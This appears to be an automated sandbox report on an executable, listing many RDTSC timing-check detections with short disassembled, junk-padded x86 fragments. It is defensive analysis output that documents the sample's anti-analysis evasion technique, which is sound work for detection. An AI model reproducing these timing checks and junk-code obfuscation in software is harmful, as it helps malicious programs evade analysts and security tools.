Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F03D2 second address: 50F03D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F03D6 second address: 50F03F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F03F1 second address: 50F03F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F03F7 second address: 50F0407 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0407 second address: 50F040B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F040B second address: 50F0411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0411 second address: 50F0417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0417 second address: 50F041B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F041B second address: 50F04A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d push esi 0x0000000e mov ecx, ebx 0x00000010 pop edi 0x00000011 mov ebx, eax 0x00000013 popad 0x00000014 push eax 0x00000015 jmp 00007F8AA8B7BB8Bh 0x0000001a nop 0x0000001b jmp 00007F8AA8B7BB96h 0x00000020 lea eax, dword ptr [ebp-10h] 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F8AA8B7BB8Dh 0x0000002c xor cx, FDF6h 0x00000031 jmp 00007F8AA8B7BB91h 0x00000036 popfd 0x00000037 pushfd 0x00000038 jmp 00007F8AA8B7BB90h 0x0000003d or ch, 00000018h 0x00000040 jmp 00007F8AA8B7BB8Bh 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F04A3 second address: 50F04DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8AA8C154CFh 0x00000009 jmp 00007F8AA8C154D3h 0x0000000e popfd 0x0000000f mov edx, eax 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov dword ptr fs:[00000000h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F04DB second address: 50F04F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F04F2 second address: 50F0518 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-18h], esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0518 second address: 50F051C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F051C second address: 50F0522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0522 second address: 50F0537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB91h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0537 second address: 50F056F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr fs:[00000018h] 0x00000011 pushad 0x00000012 push esi 0x00000013 mov bh, 19h 0x00000015 pop esi 0x00000016 popad 0x00000017 mov ecx, dword ptr [eax+00000FDCh] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F8AA8C154CDh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F056F second address: 50F058C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F058C second address: 50F0590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0590 second address: 50F0594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0594 second address: 50F059A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F059A second address: 50F05FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F8AA8B7BBD4h 0x0000000f jmp 00007F8AA8B7BB90h 0x00000014 add eax, ecx 0x00000016 pushad 0x00000017 movzx ecx, di 0x0000001a push eax 0x0000001b push edx 0x0000001c pushfd 0x0000001d jmp 00007F8AA8B7BB99h 0x00000022 xor ah, 00000006h 0x00000025 jmp 00007F8AA8B7BB91h 0x0000002a popfd 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0134 second address: 50E0179 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8AA8C154D0h 0x00000008 jmp 00007F8AA8C154D5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F8AA8C154CFh 0x0000001a mov ecx, 20B6654Fh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0179 second address: 50E0238 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8AA8B7BB91h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov edi, 43A7D9BEh 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 jmp 00007F8AA8B7BB95h 0x0000001e sub esp, 2Ch 0x00000021 jmp 00007F8AA8B7BB8Eh 0x00000026 xchg eax, ebx 0x00000027 pushad 0x00000028 jmp 00007F8AA8B7BB8Eh 0x0000002d movzx ecx, bx 0x00000030 popad 0x00000031 push eax 0x00000032 jmp 00007F8AA8B7BB8Ch 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 call 00007F8AA8B7BB8Eh 0x0000003e pushfd 0x0000003f jmp 00007F8AA8B7BB92h 0x00000044 and cx, 2778h 0x00000049 jmp 00007F8AA8B7BB8Bh 0x0000004e popfd 0x0000004f pop ecx 0x00000050 movsx ebx, si 0x00000053 popad 0x00000054 xchg eax, edi 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 mov cl, bl 0x0000005a mov bx, si 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0238 second address: 50E023E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E03B8 second address: 50E03CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB8Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E03CA second address: 50E03EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F8AA8C154CEh 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movsx edx, cx 0x00000015 mov esi, 3C0AF135h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E03EE second address: 50E0400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB8Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0400 second address: 50E0404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E04B5 second address: 50E04BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E04BB second address: 50E04BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E04BF second address: 50E04FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F8B19539B5Ah 0x0000000e jmp 00007F8AA8B7BB97h 0x00000013 mov ebx, dword ptr [ebp+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8AA8B7BB95h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E04FE second address: 50E051D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 push edx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lea eax, dword ptr [ebp-2Ch] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8AA8C154D0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E051D second address: 50E0523 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0523 second address: 50E0527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0527 second address: 50E0547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8AA8B7BB95h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0547 second address: 50E0582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 movsx ebx, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], esi 0x0000000f jmp 00007F8AA8C154D2h 0x00000014 nop 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8AA8C154D7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0582 second address: 50E05A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx eax, dx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05A8 second address: 50E05AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05AD second address: 50E05D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov ebx, ecx 0x0000000d mov edx, ecx 0x0000000f popad 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8AA8B7BB8Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05D8 second address: 50E063B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8AA8C154CAh 0x00000013 jmp 00007F8AA8C154D5h 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007F8AA8C154D0h 0x0000001f add al, FFFFFFF8h 0x00000022 jmp 00007F8AA8C154CBh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E063B second address: 50E0668 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8AA8B7BB8Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0668 second address: 50E0678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0076 second address: 50E007A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E007A second address: 50E0080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E00B9 second address: 50E00EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F8AA8B7BB8Fh 0x0000000a or ecx, 360E4E2Eh 0x00000010 jmp 00007F8AA8B7BB99h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E00EE second address: 50E00F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E00F4 second address: 50E00F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E00F8 second address: 50E0107 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0107 second address: 50E010B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E010B second address: 50E010F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E010F second address: 50E0115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0A1D second address: 50E0A24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 67h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0A24 second address: 50E0A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8AA8B7BB90h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0A40 second address: 50E0A46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0A46 second address: 50E0A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0A4C second address: 50E0AD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F8AA8C154CBh 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F8AA8C154D6h 0x00000017 mov ebp, esp 0x00000019 jmp 00007F8AA8C154D0h 0x0000001e cmp dword ptr [75AF459Ch], 05h 0x00000025 jmp 00007F8AA8C154D0h 0x0000002a je 00007F8B195C340Fh 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F8AA8C154D7h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0D6D second address: 50E0D73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0D8D second address: 50E0DBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov edi, 4BDEE66Ah 0x0000000c jmp 00007F8AA8C154CBh 0x00000011 popad 0x00000012 popad 0x00000013 test al, al 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8AA8C154D5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0DBF second address: 50E0DCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0DCF second address: 50E0E20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F8B195B906Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F8AA8C154CBh 0x00000019 pushfd 0x0000001a jmp 00007F8AA8C154D8h 0x0000001f sbb ecx, 5A90FB18h 0x00000025 jmp 00007F8AA8C154CBh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F098F second address: 50F09B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8AA8B7BB95h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F09B6 second address: 50F0A41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ecx, edi 0x0000000d call 00007F8AA8C154D3h 0x00000012 mov esi, 4B1D197Fh 0x00000017 pop ecx 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b jmp 00007F8AA8C154D1h 0x00000020 pushfd 0x00000021 jmp 00007F8AA8C154D0h 0x00000026 or esi, 5CBD5C98h 0x0000002c jmp 00007F8AA8C154CBh 0x00000031 popfd 0x00000032 popad 0x00000033 mov ebp, esp 0x00000035 pushad 0x00000036 mov al, 34h 0x00000038 mov bx, 2C74h 0x0000003c popad 0x0000003d push ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F8AA8C154D2h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0A41 second address: 50F0A47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0A47 second address: 50F0A4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0A4D second address: 50F0AC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e pushad 0x0000000f mov ecx, 05D5875Dh 0x00000014 movzx eax, bx 0x00000017 popad 0x00000018 mov esi, dword ptr [ebp+0Ch] 0x0000001b jmp 00007F8AA8B7BB95h 0x00000020 test esi, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F8AA8B7BB93h 0x0000002b xor cl, 0000002Eh 0x0000002e jmp 00007F8AA8B7BB99h 0x00000033 popfd 0x00000034 mov dh, ah 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0AC9 second address: 50F0AE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 04AC3BAFh 0x00000008 mov dx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F8B195B2DA6h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ebx, esi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0AE3 second address: 50F0AE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0AE8 second address: 50F0AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, bx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a cmp dword ptr [75AF459Ch], 05h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0AFF second address: 50F0B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B03 second address: 50F0B09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B09 second address: 50F0B46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8AA8B7BB93h 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F8B195314F8h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8AA8B7BB97h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B46 second address: 50F0B4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B4A second address: 50F0B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B50 second address: 50F0B56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B56 second address: 50F0B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B5A second address: 50F0BAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8AA8C154CEh 0x00000013 add cx, F128h 0x00000018 jmp 00007F8AA8C154CBh 0x0000001d popfd 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007F8AA8C154D5h 0x00000025 xchg eax, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0BAE second address: 50F0BB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0BB2 second address: 50F0BC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0CB4 second address: 50F0CC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0CC7 second address: 50F0CE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 8ACAh 0x00000007 mov di, 8996h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8AA8C154CFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0CE9 second address: 50F0D06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
